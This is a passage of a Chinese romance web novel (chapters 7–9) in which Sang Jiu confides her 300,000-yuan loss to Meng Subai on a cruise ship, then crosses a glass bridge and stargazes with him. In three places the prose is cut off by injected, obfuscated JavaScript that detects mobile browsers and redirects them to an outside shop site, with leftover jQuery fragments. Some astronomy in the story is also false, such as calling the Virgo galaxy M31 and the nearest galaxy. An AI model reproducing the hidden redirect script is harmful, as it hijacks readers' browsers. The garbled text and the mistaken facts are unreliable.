“早就想好了呀!”桑酒跳下吊椅,朝大海大喊,“不就是三十万吗,再赚就是了!” 这一次,她选择真正面朝大海,春暖花开。 “三十万?” 许是痛哭一场过后,桑酒的心情好了许多,也愿意敞开心扉,她回头,故作轻松。 “嗯,三十万,我男友……不,现在是前男友了,在我生日这天,偷偷去澳城赌钱,输了我三十万,那是我们拿来创业的资金。” “之前准备做什么的?” “开一家酒馆,葡萄酒那种。” “难怪,你这么能喝。”孟苏白笑,他就没见过几个人,喝下三杯LOT.518,还能绞尽脑汁安慰别人不要“轻生”的。 “我也很少喝酒的,”桑酒再一次心虚解释,“平常和朋友们去的酒吧,我都不太喜欢,所以想自己当老板,开一家喜欢的酒馆,能舒舒服服、自由自在喝酒。” 她天生没有其他优势,唯有一股要死不活的傲气,受够了看人眼色做事,静待翅膀变硬,就想当个不受管教的老板试试。 “这个目标很好。” “谢谢,”桑酒笑,又说,“不过说来可笑,我早就有预感,和他一起创业肯定会失败,只是我没想到,会以这样的结局告终。” 还没开始,就已经结束了,就像一段猝不及防的感情。 “还是那句话,我可以帮你。” 人生总有绝境的时候,或许三十万对他来说,不过一场帆船比赛的奖金,但对一个还在社会上摸爬滚打的小姑娘来说,大概是她努力了很久很久,才积攒下来的。 孟苏白不知道,如果自己直接提出给她三十万,会不会太唐突,但这些年,他也做过一些慈善资助,只是面对面资助,还是第一次,他担心会伤到小姑娘自尊。 毕竟,这是一个自尊心极强的小姑娘。 作为一个无意窥探了别人秘密的人,他无法做到视若无睹,既然她有恩于自己,那他也愿意在力所能及的范围内,帮她解决问题。 三十万,对如今打算脱离家族的他而言,也不算棘手。 孟苏白抬起手腕,盯着那块奢华的帕玛强尼。 好像也没有那么不舍。 “不用!”桑酒却果断拒绝了他。 他们什么关系啊? 认识不过两天,他就要帮她还债,这简直太匪夷所思了。 天上掉馅饼,还是黄金馅的! 桑酒不相信这种事情会落到她头上,更何况,她从小就知道,对男人手心向上,得到的糖果再甜再漂亮,也是淬了毒的。 妈妈血淋淋的人生遭遇已经告诉她,尤其是面对这种外貌极品的男人,更要远离才好! 因为他们本身就自带毒性。 且无解! “苏先生,你帮助我已经很多了!如果连这种事都要别人帮忙,那我以后拿什么保护家人呢?” “保护家人?”孟苏白有些意外。 她明明才刚满二十岁,还是个小姑娘,身上就有这么大的负担了吗? “嗯,”提起加入,桑酒神色便柔和了许多,“我想给她们好的生活,所以必须赚好多好多钱,不过您放心,三十万对我来说,也不是什么大事,我肯定能挣回来的。” 她十四岁出来工作,十九岁还完债,二十岁准备创业,虽然还没开始就失败,但桑酒始终觉得,自己是有收获的。 至少从现在开始,可以彻底远离烂人,开始一个人的生活。 “很神奇,这一刻,我竟然懂您说的,自由。” 桑酒很讨厌从前的生活。 年少无知,她负气背井离乡,被同村的大姐带到大城市赚大钱——白天在拥挤黑暗看不见日光的城中村出租房里睡觉,晚上浓妆艳抹穿着漂亮的工作服穿梭在灯红酒绿的会所,哪怕只是一个普通最底层的服务员,在那种地方也是没有尊严的。 当时三禾也说过,以她的性子,在那种地方根本待不了多久的。 果不其然,没过多久就出事了。 再后来,她虽然重新找了一份稍微正经的工作——销售红酒,但也是看别人脸色而活。 在那里,想成为销售冠军,就得会喝酒,想全身而退,还必须练成千杯不醉! 其实刚刚桑酒没有说实话,她想开一家酒馆不仅仅是想当老板,而是从踏入社会开始,就被圈进了一个小圈子,她没有别的生存之路,仅有的一技之长,就是天生酒量好。 而被迫喝酒和自由喝酒,是两个概念。 “那你的酒馆还开吗?” “当然开,”桑酒无奈笑,“而且我想通了,以后绝不找人合作,还不如单干来得痛快。” “确实,”孟苏白颔首,“很多时候,一个不靠谱的合作伙伴,比一个强大的对手还要可怕。” 桑酒想起了一句话:“不怕神一样的对手,就怕猪一样的队友!” 此刻她也想通了,有句老话怎么说来着,失败乃成功之母! 踢走一个蛆虫李佑泽,未必不是另一种进步! 还没开始就失败,总比忙碌到最后毁于一旦的损失小一点。 想开了,压在心头的沉重石头自然轻一些。 “当然,有梦想是好的,”孟苏白却话一转,又说,“不过你可能要认清一个现实,如今在国内,红酒算是一个冷门行业,尤其在白酒、啤酒和即饮饮料的三面夹击下,几乎断崖式消失,如果只是单一的葡萄酒馆,你很有可能在客源单薄和生意冷淡之中,消耗掉你对红酒的热情。” 这个问题,桑酒也有想过。 她原本以为,热爱可以胜过一切。 可此刻他的一番话,几乎是让她醍醐灌顶,瞬间明白了现实的残酷,毕竟只有能挣钱的,才能一直保持热情。 “你有没有想过,在经营酒馆的同时,精细化你的客源,主动出击,线上线下同时寻找高质量目标,将一次性客户转化为高复购、高粘性和高转介绍的忠实用户……” 在这个宁静又波澜的清晨,桑酒从男人口中又学到了不少新知识。 原来只是爱喝酒、懂酒,还不足以支撑她长长久久经营一家酒馆,她必须要有自己不断壮大的私域客源才行,而这种客源不是仅仅拥有一家酒馆就能解决,普通人对红酒的执着一般不深,尝个鲜就足矣,真正的高价值用户,是跟社交有关,譬如高端餐厅、私人会所、企业公司年会,以及大大小小各种宴会场所,她需要做的,是在这些人群里,精准找到潜在用户,而后才是运营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742567|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推广,拥有自己的客户人脉。 “当然,要打入这类社交,你需要学习的东西,还有很多,”孟苏白目光柔和望着她,说,“但你还年轻,还有机会。” “不会迟吗?”桑酒听得入神,单手撑着下巴看他,有些迟疑。 这些年,她只有一个目标——赚钱。 从来没有人跟她说,她应该停下来,去学习,去充实自己。 “当然不会,”孟苏白抬手敲了敲她额头,“凭你在旅行途中都会做笔记学习这股干劲,做什么都会成功的。” 桑酒愣住,反应过来他大概是看到她的笔记本了。 “而且,你的抗压能力,也是我见过最强的。” 桑酒瞬间忍不住笑了:“我都不知道,你这是在夸我,还是在损我。” 孟苏白微笑:“夸你。” 桑酒有一瞬失神。 随即转头,将目光从他脸上移到远处的海面。 或许他永远也不会知道,他夸她的这一刻,神圣得可怕。 清风拂来,邮轮切开绸缎般的波浪,成群的海豚正在海面凫水,一行海鸥则掠过浪花,咸涩的海风吹来,满满自由惬意的味道。 “以后,等我的酒馆做大做强了,第一个要感谢的人,就是您!” “是么?怎么感谢我?” “当然是——请您喝酒!喝最好的酒!” 孟苏白唇边笑意更深:“好。” 好像不知从何时开始,他落在她身上的目光才,从怜悯转变为欣赏,甚至是……吸引。 “那您呢,接下来什么打算?”桑酒扭过头,看向他。 不期然撞上他视线,像是沉浸在一种欣赏之中,桑酒心跳莫名漏了一拍似的,也不知他为何有些出神。 “苏先生?” 孟苏白猛然回过神,深邃的眼眸仿佛这一刻才定格。 少女撑着下巴凭栏而立,慵懒随意的黑色西装,凌乱的发迎风飘舞,金色阳光照在笑容清浅的脸庞上,呈现出一种近乎神圣的干净纯粹,坚定又无畏——那是荆棘丛长出来的一枝玫瑰,正迎风肆意生长。 “纽约。” 孟苏白第一次感受到心神不定的滋味,那种无法捕捉的情绪从心底蔓延,远比失控的帆船更令人心悸浮躁。 “纽约?”桑酒诧异,“可浮屿号不是去日本的吗?” 孟苏白默了几秒,才解释说:“在东京下船,然后飞去纽约。” 此时此刻,老爷子肯定翻遍了整个港城,也定然派人去慕尼黑寻他了,但谁也不会想到,他已经在贺家的邮轮上,准备前往纽约,年后就去肯尼亚任职。 “这样啊……” 不知为何,刚才还轻松的氛围,骤然变得有些伤感起来。 对桑酒而言,日本已经很远了,纽约更是遥不可及。 这次航海旅行,或许已经是她能走过最远的地方。 她问:“那你以后……都不回来了吗?” 孟苏白点头。 至少这几年,是不会了。 桑酒抓着栏杆,指尖有些泛白。 也就是说,两天后,他就会离开。 他们不会再见。 不知为何,刚才还朝气满满的胸腔,突然变得有些沉,像是洒了一些小石子,一粒粒,一层层压下来,沉甸甸的,怅然若失。 但又没那么难受,甚至有一点点无法发觉的欣慰。 他们本就是两个世界的人,起点不同,终点也不同。 要说唯一的交集,便是此刻在脸颊吹拂的同一缕风。 8. 第 8 章 下午三点,睡了一觉的桑酒自然醒,洗漱完换回自己干净的衣服,准备出门吃点东西。 拉开房门,便瞧见Chris站在通道处,一脸神情郁郁,直到见她出来,眼里才猛然绽放一丝光。 “Romy!” “你也住这儿?”桑酒十分意外。 “NoNoNo!”Chris摇头,开什么玩笑,这一层的套间,都是可遇不可求的,他哪怕再有钱,没有人脉也买不到这样顶级的套房。 “我在等你!你电话怎么不回我?” 桑酒愣了一下,无奈笑说:“抱歉,我手机没网络了。” 经过一天一夜的航行,浮屿号已经进入公海,她手机也彻底断了网。 不过这样也好,原本还心烦一堆信息和电话,现在与世隔绝,两耳清净,她也懒得找管家要房间WiFi密码。 “那我们的拍摄计划怎么办?”Chris一脸无语。 “啊——” 桑酒这才想起,早上Chris想请她做摄影模特,而她又恰好想跟他请教红酒知识,两人一拍即合,不但成了游玩搭子,还能互惠互利,各取所需。 “没关系,”桑酒打起精神,大步往前走,“反正你也知道我住这儿。” 邮轮上的娱乐设施让人应接不暇,每一层甲板都有不同的风景、美食餐厅和娱乐设施,从露天游泳池到施华洛钻镶嵌的水晶天梯,每一处都透露着极致奢华,仿佛一座漂浮在海上的宫殿,应有尽有,很多项目不是VIP客户很难预约上,但有了孟苏白那张VIP卡,他们可谓是畅通无阻。 按照邮轮旅行指导,两人一边打卡米其林星级餐厅,一边尝试体验一些的刺激游戏,海上过山车、滑水道……抛至云端的每一刻,桑酒都觉得自己会死在这儿,然而下来后又是鸡血满满,Chris已经两条腿软得直打颤,她还迫不及待在查看下一个项目时间。 “Oh My God!”Chris扶着栏杆,就差吐海里了,“我快死了——Romy你能不能歇歇?” “歇!马上歇!”桑酒回头,扬了扬手里的音乐剧票,笑得无邪,“我们先去吃个晚餐,晚上七点到九点半看话剧,到十一点半去灯塔看星星。” Chris弯腰叹气:“Romy,你怎么一点反应都没有?” 能一个极限项目不落,且还如此镇定自若的人,他一圈看下来,真没发现有几个,Chris还是第一次见到内心如此强大的女人。 桑酒看着眼前一米八大个的男人瘫痪在地,也是笑得岔气:“怎么没有?我恐高,腿也打颤了。” “那你还要去灯塔?”Chris看过,那个项目明确标注了,恐高、高血压以及心脏病患者不能参与。 “挑战一下自我不好吗?” “会要了我的命。” “不会,”桑酒安慰他,“眼睛一睁一闭就过去了,反正横竖最后会安全下来。” “这么可怕的事情,你怎能说得如此轻松?”Chris一脸无奈。 桑酒:“也许是因为,我体验过更可怕的瞬间吧。” 毕竟,极致的死亡体验,才能真正感受到活着的可贵。 就像被灼伤过的人,永远会记得远离火源,被狗咬过的人,遇见多可爱的小狗都要绕道三里路,而她尝试过濒临死亡的恐惧,所以这些刺激只是提醒她,要珍爱生命,要远离男人。 Chris听不懂,只一味对她竖起大拇指:“牛!” “那你还去不去?” “去去去,”Chris勉强爬起来,“你们中国有句话怎么说来着,舍命陪君子,而且我还准备好了无人机,要给你拍照呢。” 桑酒拍了拍Chris肩,用刚回到脑子的英语鼓励他:e on!” “对了,你的朋友们呢?” “什么朋友?” “就昨天,我们不是喝醉了吗,还是你一个朋友把我扛回房的,说你另一个朋友送你回去了。”Chris回想了一下,“那位Carson先生!” 桑酒:“他们……不是我朋友。” “What?不是朋友?” “嗯,不管他们了,”桑酒甩了甩心头的遗憾,决定不去正视,“走吧,音乐剧要开始了。” 音乐剧还算精彩,因为VIP客户的原因,两人还被特意安排坐在第一排正中央的位置,与台上演员只有不到两米的距离,但桑酒看了一半就开始昏昏欲睡,大概是折腾了一天,体能有些耗尽,又或许是这些高级的节目实在无福消受,一不留神,她就打了个盹儿。 等被Chris拍醒时,演员们已经落幕致谢完毕,周边的人也走了七七八八。 “抱歉,我……” 她好像又上了一节久违的原版英语课。 “你不用跟我道歉,”Chris盯着她,“你应该跟台上的演员道歉,刚刚男主角还过来,要跟你互动来着,看你实在睡得太香……” 桑酒一个鲤鱼打挺,猛然站起,朝台上看去:“男主角?你是说那个长得像杰克逊船长的男主角?” 要死了! 在别人眼皮子底下打瞌睡,这不是砸场子是什么? 但更可怕的是,从帷幕后走出来的杰克逊船长男主角,突然摘了海盗帽向她走来。 桑酒顿觉寒毛竖起,拉起Chris就往外跑。 直至到了甲板上,确定人没有跟来,桑酒才弯着腰气喘吁吁:“吓死我了!Chris!你怎么不叫醒我?” “Romy,竟还有你害怕的时候?” 桑酒:“不是害怕,是社死好吗!” “社死?什么是社死?” 桑酒:“……” 她花了几分钟时间,跟他解释什么叫社会性死亡。 “就是那种……尴尬到你能用脚趾头挖出一个地洞,然后自己钻进去把自己埋了的感觉。” 然而,汉语词汇贫瘠到可怜的Chris无法理解这种死法,只是感到安慰,说:“所以,你也是胆小鬼?” “Chris,上了灯塔,才知道谁是胆小鬼。” 许是混熟了,桑酒也学会挑衅他。 Chris哈哈大笑,为她走出悲伤感到高兴。 - 但等到十一点,顶层甲板的观星塔前,Chris笑不出来了。 那是一条长长的、延伸在甲板之外、垂直悬在海面四十米高处的玻璃桥,或者不能称之为玻璃桥,因为玻璃桥的另一端并没有支撑点,而是一个巨大的球形玻璃观星室,玻璃桥有点长,全程三百六十度透明,仔细看才能发现玻璃桥上方用斜拉索固定,像帆船桅杆那样,多角度钢索分散应力。 他们乘坐电梯上了灯塔,排队等候,一眼望去,桑酒想起曾在电视上看到过的高科技——中国空间站的机械臂,这一刻的恐惧感不亚于站在机械臂上俯瞰整个太空。 “Sorry,”Chris捂住胸口,脸色煞白:“我突然想起,我有心脏病。” 桑酒回头看他。 他又揉了揉太阳穴:“不……我还有高血压!” 桑酒蹲下身,开始套鞋套。 “呜呜——Romy,我真的做不到……我要回家继承我爸妈的酒庄!” 桑酒起身,摇头叹气。 Chris说过,他作为一个堂堂酒庄继承人,却因为酒量不好时常被同行取笑,所以选择环游世界做自己喜爱的事情——摄影,他父母怎么恳求他也没用。 果然,有钱人就是任性! 尽管工作人员已经做了多番心理工作,Chris还是无法打破心理恐惧,在最后一秒选择退出。 “亲爱的,我去灯塔下面控制无人机,给你拍照行不行?”退出玻璃桥后,Chirs恢复理智,摆弄起他那套十几万的摄影装备,“哪怕炸机,也保证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16742568|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你拍出科幻大片!” 桑酒也没有为难他,工作人员建议再找一个同伴组队,她直接拒绝了,义无反顾,一人走向海上云端。 邮轮前行时,巨浪拍打着船身,带动着玻璃桥摇摇晃晃,那红的绿的灯光,也是一闪一闪,站在上面的人可以说是踩在高空中的钢索上,孤立无援,每一秒都在挑战心理防线。 原本这个项目就是两人一组的,能相互扶持鼓舞打个气,但搭档临阵脱逃,桑酒又不想错过这次体验,后面还有不少人排队等着,她只能继续前行。 横竖死不了,闭着眼走完全程,也够她吹一辈子了! 然而,刚信誓旦旦踏出第一步,也不知道是不是心理作用,她感觉有一个巨大海浪扑来,然后身体毫无防备一个踉跄,心直接跳到嗓子眼,眼睛也下意识睁开。 幽暗的灯光下,巨浪滔天。 这一刻,恐高外加深海恐惧症齐齐被唤醒,她的身体剧烈地抽搐了一下,心早已跳到嗓子眼,跟死了一般无法跳动,眼睛也开始不受控涌出泪。 脚下是万丈深渊,被无尽的黑暗吞噬着,巨浪如怪兽在咆哮,泛着紫色和绿色的光。 而她是跌撞于深渊之上的折翼蝴蝶。 即便是无底深渊,下去,也能再次翱翔天际! 桑酒咬紧牙关,闭上眼,努力调整心态,不去看海底脚底下海浪翻涌的画面,躬身扶着玻璃桥,以毫米的龟速前行。 这就是不折不扣的,人在走,魂在抖。 “Chris,等下去……我……我再跟你……算账!” 只有二十分钟的观看时间,不能浪费在前进的道路上。 “吱——” 也不知道哪里摩擦发出的声音,仿佛一道催命符,她吓得蹲下身,差点哭出声。 这不是追求浪漫的观星塔,这纯纯一架空中鬼屋! 桑酒不敢往前看,也不敢往后看,更不敢往下看,生怕看到什么瘆人的画面,可这一刻想象力疯涨,往日看的那些鬼片,铺天盖地袭来,身后早已没了Chris的声音,只有毛骨悚然的寂静回荡。 她甚至不敢哭出声,因为回音会在耳边缠绕,更像女鬼索命。 “老天爷,我还不想死,我还想赚好多好多钱,我还没好好享受生活,没有跟超级无敌大帅哥谈恋爱……” 桑酒开始语无伦次,努力想象帅哥的面庞来弥补一下害怕,脑子却一片空白,无法定格。 她抬起右手胡乱摸索着,想去扶玻璃桥,却突然被人一把握住手心。 “啊——”桑酒本能尖叫出声,却在回头看清楚身后人时,又惊得说不出话来,“你——” 原来,这不是空中鬼屋,竟是许愿桥! 孟苏白那张帅得人神共愤的脸赫然出现在她身后,他身材高大如一堵墙,矜贵俊雅又气质沉稳,桑酒蜷缩在他的身影下,无端生出一种安全和救赎感,那股惊悚的念头也瞬间消散。 所以,长得帅真的可以驱赶恐惧。 “怎么一个人?” 孟苏白声音不大,却仿佛穿透了玻璃桥的沉闷,直直传入她的耳,很温柔,却格外不真实。 桑酒怔然起身,男人顺势将她拉起。 没有放开手。 仿佛感觉到她全身在颤抖,握得更紧了些。 她面色苍白抬头看他时,他也正垂眸看她。 玻璃桥逼仄,光怪陆离在他眸底映射出一种极致的美,犹如翡翠般温润如玉,又透着一丝冷峻的清雅。 徐志摩笔下的翡冷翠,大抵如此绝美。 桑酒看得入神,想开口却鼻尖一阵酸。 她滞了一下:“……苏先生。” 桑酒不知道该如何解释,自昨日阳台之后,她其实不太想见到他,总觉得有什么在不受控地,悄然滋养。 就像这一刻见到他,她那颗凉透了的心脏,突然活过来似的。 疯狂跳动。 9. 第 9 章 比起阳台的惬意,狭窄封闭的空间、晦暗不明的灯光,更能让人气息暧昧。 尤其是此刻,他紧紧握着她的手传递力量与温度,而她也只有他的身体可以依靠。 悬在半空中的世界,一片寂静幽深,放眼望去,茫茫宇宙,仿佛只有他们彼此。 “您……怎么来了?” 桑酒站稳,不敢与他多对视哪怕一秒。 这一刻,心乱打败了恐惧,她被他牵着,徐徐前行。 孟苏白脚步很平稳,完全不受高空和深海恐惧,先是跟她道歉:“抱歉。” “嗯?”桑酒扭头看他。 该死的三百六十度悬空,除了他这张脸,焦点落在任何一个角度都会被黑暗吞噬。 孟苏白继续说:“Carson想找你喝酒,所以查了那张卡的消费记录,知道你要来看星星。” “哦——没关系,”桑酒尴尬一笑,“那天我不是故意不加他微信的。” “嗯。” “我是手机没网络了。” 恰好又没电。 “我知道。” 桑酒睫毛一颤,才明白那日他没有让Carson继续追问,其实是在帮她解围,不让她尴尬。 “你可以让管家帮你开通漫游。”孟苏白贴心提醒,也算是特意转移话题,让她不再恐惧。 “不用。”桑酒却摇头,“其实,我挺喜欢现在这种失联状态!” 在这里,没有网络的手机,不再是情感寄托的介质,没有信息打扰、没有不该有的期盼、没有百无聊赖的小视频,只是一个记录每一刻生活的工具。 “就不担心,有人找你?” 桑酒笑了笑,没说话。 孟苏白看着她,眼里不自觉闪过一丝心疼。 她说那晚是第一次被人看见哭,那她在亲人朋友面前,得是个多坚强的姑娘,才会在一夜之间背负三十万债后,也没有人想过要陪伴一下? “到了!” 桑酒惊喜的声音,打破了沉寂。 短短的百米距离,他们好像走了一个世纪,又仿佛只一瞬,就到达了终点。 “你好像……一点都不害怕。” 而此时,桑酒已是浑身战栗,若不是有孟苏白相扶,她估计最后只能爬着走过来。 再看孟苏白,却是一脸云淡风轻,如履平地。 沉稳得可怕。 “当然害怕,”孟苏白唇边挑起一抹弧度,依旧没有松开她的手,“不过是我的自尊心,不允许我在一个女孩子面前懦弱。” 这话听着,咋那么耳熟? 待想起是昨天自己的豪言壮语,桑酒不禁笑得眉眼弯弯。 “不过,”孟苏白又说,“怕也没用,反正无论如何也不会掉下去,何不好好看看上面的风景?” 桑酒:“对恐高患者说这样的话,不太厚道哦。” “既然知道自己恐高,为什么还要选择这么危险的活动?”他问,语气里不掩担心。 “所以,你是怕我出事才过来的?” 桑酒也没想到,那晚在维港,一句无心之话,会让他记住,不禁有些惊讶。 孟苏白侧过脸,淡声说:“出了事,游轮也要负责的。” “哦。”桑酒心底涌起一股说不清道不明的失落感,她敛眸,“我也……没那么害怕的。” “我知道。” 桑酒抬头看他。 “你已经很厉害了,”孟苏白说,“当你选择上来的那一秒,就已经克服了恐高之症。” 桑酒忍俊不禁。 “你这样说,”她说,“我就当你夸我了。” 孟苏白笑着点头,牵着她手,一同进了观星室。 观星室是一个球形玻璃舱内,里面灯光更加灰暗,虽然不再是瘆人的紫和红交替,但一眼望去,肾上腺素直接飙升,里面的人就好像身在一个透明泡泡内,而这个泡泡正悬浮在半空中,头顶苍穹,脚跨海面,宛如神话中的腾云驾雾,一般人都难以承受,更何况她这个恐高症患者。 桑酒下意识抓紧了孟苏白手臂,眼睛根本不敢往下看。 但好在球形舱内部稳定性非常好,完全不似玻璃桥那般摇摇晃晃,桑酒看过这个观星塔的整体设计介绍,说是球舱内部使用了什么独立陀螺仪的抗摇系统,即使邮轮在8级风浪中倾斜15°,观星室内晃动仍可压制在0.3°以内,这在人类无感阈值之内,也难怪站在里面,再没有那种令人腿软的眩晕感。 “开始吧。”孟苏白提醒她。 桑酒扶着固定在正中央的双筒望远镜站稳,极力忽略掉四周的失重感,俯身靠近目镜。 “怎么什么都看不到?”她眯着眸看了半天,视野里一片模糊。 她怀疑是自己的手颤抖,导致眼皮发跳看不清。 “我看看。”孟苏白从她身后靠过来,弯腰看了一眼,“没有调好焦。” “啊?”桑酒抬头,一脸懵。 “应该是上一个观测者调乱了,没关系。” 孟苏白抬起手,搭在调焦手轮上,慢慢转动,手臂自然而然越过她肩,擦过她耳。 冰冷还带着海风气息的冲锋衣磨砂面料贴在她脸颊,但只一瞬,又被他身上独特的气息覆盖、笼罩像是感受到了他的体温,温热瞬间渲染桑酒整个耳廓,灼灼的。 而桑酒也因为他的靠近,身体逐渐平缓下来,仿佛身后有了一座可以依靠的大山。 不一会儿,目镜中的夜空越来越清晰,不一会儿就定焦了,“好了。” 孟苏白头稍稍后退,给她腾出观看位置,身体却纹丝未动,双臂微曲将她护着,像是随时要准备下一步动作。 桑酒没有多想,脑袋迫不及待凑了过去。 慵懒的丸子头,毛茸茸的发划过男人下巴。 “哇哦!真的好多星星!”她惊喜出声。 漆黑夜空里的满天星,比平日肉眼抬头所见更加清晰闪亮,让人目不转睛。 而她看不见的地方,孟苏白下巴动了动,那酥痒更加难耐。 “很漂亮。” 在桑酒再次感叹后,孟苏白情不自禁又俯身贴过去,沉声询问,“还有更漂亮的,想看吗?” “当然。” 桑酒一脸期盼。 没有发现他气息有些克制不住的乱。 却在转头的一瞬,额头猝不及防撞上男人高挺的鼻梁,鼻尖轻轻划过眉心的那一刻,她甚至能清晰感受到他鼻梁坚韧中带着柔软,像毛笔一样在她肌肤上作画,唇瓣的微热的呼吸,一同扫过。 桑酒瞪大了眼,连呼吸都仿佛被按下暂停键,与他四目相对。 毫厘之距。 清冽的雪松气息,铺天盖地吸入鼻腔。 桑酒脑海里突然冒出一句话,喜欢一个人,会先喜欢他身上的味道。 不知为何,跟他接近多了,她好像什么也听不到了,只听到她的心跳。 她不知道他是否有听到。 这种心跳声,会让她血液加速流淌一般,冲上脸颊,燥热难耐。 像是将她架起,文火慢炖。 失神的片刻,桑酒也明显感觉到他的身体有些紧绷,但也许是错觉。 因为在她回过神目光躲闪后,孟苏白已经淡然自若去调寻星镜了。 “满天星固然漂亮,但能从银河系中找到自己喜欢的星星,才是观星者真正浪漫所在,”他侧目,没有看她眼里比星星还要亮的眸光,“想看哪颗星?” 桑酒下意识咽了咽口水。 如此耀眼的男人,近在咫尺。 就问有谁能做到毫不心动吧。 显然她不能。 “北极星?”她脱口而出。 九年义务教育出来的漏网之鱼,也只记住这一颗星的名字。 “好,”孟苏白弯了弯嘴角:“北极星很好找,要不要试试?” “我?” 桑酒还在疑惑中,孟苏白已经拿出手机,娴熟地架在望远镜上,也不知道他连接了什么,屏幕上很快显示出此刻的星空,桑酒顿时惊讶得说不出话来,孟苏白则抬起她的手,一同搭在寻星镜上,又示意她去看目镜,他则抬眉用肉眼看了眼夜空,大致确定好方向,握起她的手轻轻调节上下转轮。 “认识北斗七星吗?”他问。 桑酒:“那个……勺子?” 孟苏白笑了一声:“嗯,能看到吗?” “等……等一下……”桑酒极力去辨别,得亏她5.0的视力,好一会儿才在数亿星河中,发现了最亮的那个勺子,“找到了!” 孟苏白停止转动,凑过去看手机屏幕,确认无误,嗯了一声,又带着她的手往下调:“从北斗七星的勺子外边这两颗星——天枢星和天璇星,垂直下来,大概五倍的距离,你会看到一颗特别亮的星……” “找到了!”桑酒下意识反手抓住他的手,阻止他继续转动。 孟苏白顿了一下:“那就是北极星。” “我怎么看着……好像有两颗?” “这么厉害?”孟苏白挑眉低笑一声,随即解释,“确实,北极星不是指一颗星星,它实际是三合星系统,你现在看到的一大一小两颗分别是北极-A和北极-B,还有另一颗北极-AB黄矮星很难看到,得用天文台的望远镜才行,不过,北极星也不是永远一成不变的,大概一万四千以后,会被更明亮的织女星替代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16742569|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 他声线实在好听,像专业解说员,贴在她耳畔低语,桑酒不禁听得入迷,又莫名有种听睡前小故事的感觉。 “你地理一定学得很好吧?”桑酒不禁笑问。 可下一秒又想,他这样的人,应该什么都学得很好吧,简称无所不能! 孟苏白说得却很谦虚:“读书的时候,经常跟朋友一起去户外探险过,所以对星系略懂一二。” 桑酒看他那操作熟练程度,完全不是略懂一二的程度。 不过,认真工作的男人,确实赏心悦目。 看完北极星,孟苏白又带着她看了冬季最美的银河。 “冬季的星光比较淡,但天空更加清澈,所以星座轮廓会更加分明,”他一边调节,一边教她在APP上识别星座,“你从这边开始,穿过御夫座、双子座、猎户座……” “如果是夏季银河会更漂亮,星团更密集,星光也更加明亮,就像……维港的烟花一样璀璨。” “没关系,现在这样就很好了,能看到最耀眼的星!”桑酒说,“如果都是一片璀璨,反而失了乐趣。” 孟苏白不禁莞尔:“好像是这个理。” “可以看看我的星座吗?”桑酒此刻就看出了乐趣来,毕竟,比起看别人拍好的照片,自己透过望远镜亲自瞧见的,别有一番成就的滋味。 “什么星座?” 桑酒眨了眨眼:“摩羯座。” “当然。”孟苏白点头,去调整镜头。 他似乎对星空十分了解,说起摩羯座也是娓娓道来:“摩羯座在人马座以东,宝瓶座以西。” 知道她不认识人马座和宝瓶座,他直接拿出手机,搜了一些照片给她做对比,一边比画,一边解说。 “这里是人马座,这里是宝瓶座,再由织女星往牛郎星方向,再延伸一倍距离,可以找到两颗三等星。” 桑酒凑过去,仔细辨认,不禁呼声:“看到了!” “这就是摩羯座的头部,往上可以看见摩羯座倒三角轮廓……” 观星室与世隔绝,听不到外界任何声音,唯有他的声音和气息,在萦绕耳边。 突然,头顶一声“叮咚”,有语音播报响起,提醒他们观星时间还剩最后十分钟,注意留下返回时间。 桑酒转过身,和孟苏白面对面。两人气息在那一刻彼此交融。 “你……你什么星座?” 不似刚才那般坦然,桑酒扶着望远镜的手指紧了紧。 可她忘了,自打进了这观星室,孟苏白就没有放开过她的手。 孟苏白明显感觉到她的紧张了,下一秒,便有意无意,将她手握得更紧了些。 桑酒没说话。 只希望,他是真觉得她的恐高症还没消失。 孟苏白想了想:“室女座。” 很久以前,贺煜闲来无事给他算了一下,说他这种典型的处女男,谈不到女朋友。 “在哪个方向?”桑酒故作轻松问,尽力忽视因手背传递过来的温热,而产生的异样情愫。 “室女座位于天球赤道附近,不过最佳观测期在春季至夏初,现在看有些暗,”孟苏白一边调整望远镜头部,一边给她看,“从摩羯座最亮的垒壁阵四星出发,经过人马座、天蝎座和天平座,才能到达室女座,看到那个Y字形没有?就是它。” “嗯。”桑酒隐约瞧出了些轮廓。 孟苏白又给她解说:“室女座星系是离地球最近的星系,编号M31,如果夜空晴朗的话,我们肉眼也可以看见,不过用望远镜曝光越久,看到的越清晰。” 桑酒觉得他谦虚了,能这样信手拈来,可不是略懂一二那么简单。 她凑过去看,漆黑夜空里繁星点点,正中央一团如云雾般神秘的椭圆形状,仿佛一个透明的UFO,孟苏白说里面有数亿万颗星星,真是神奇又美妙。 “时间有限,只能给你先看看曝光60秒的效果,以后有机会……” 孟苏白忽然顿住。 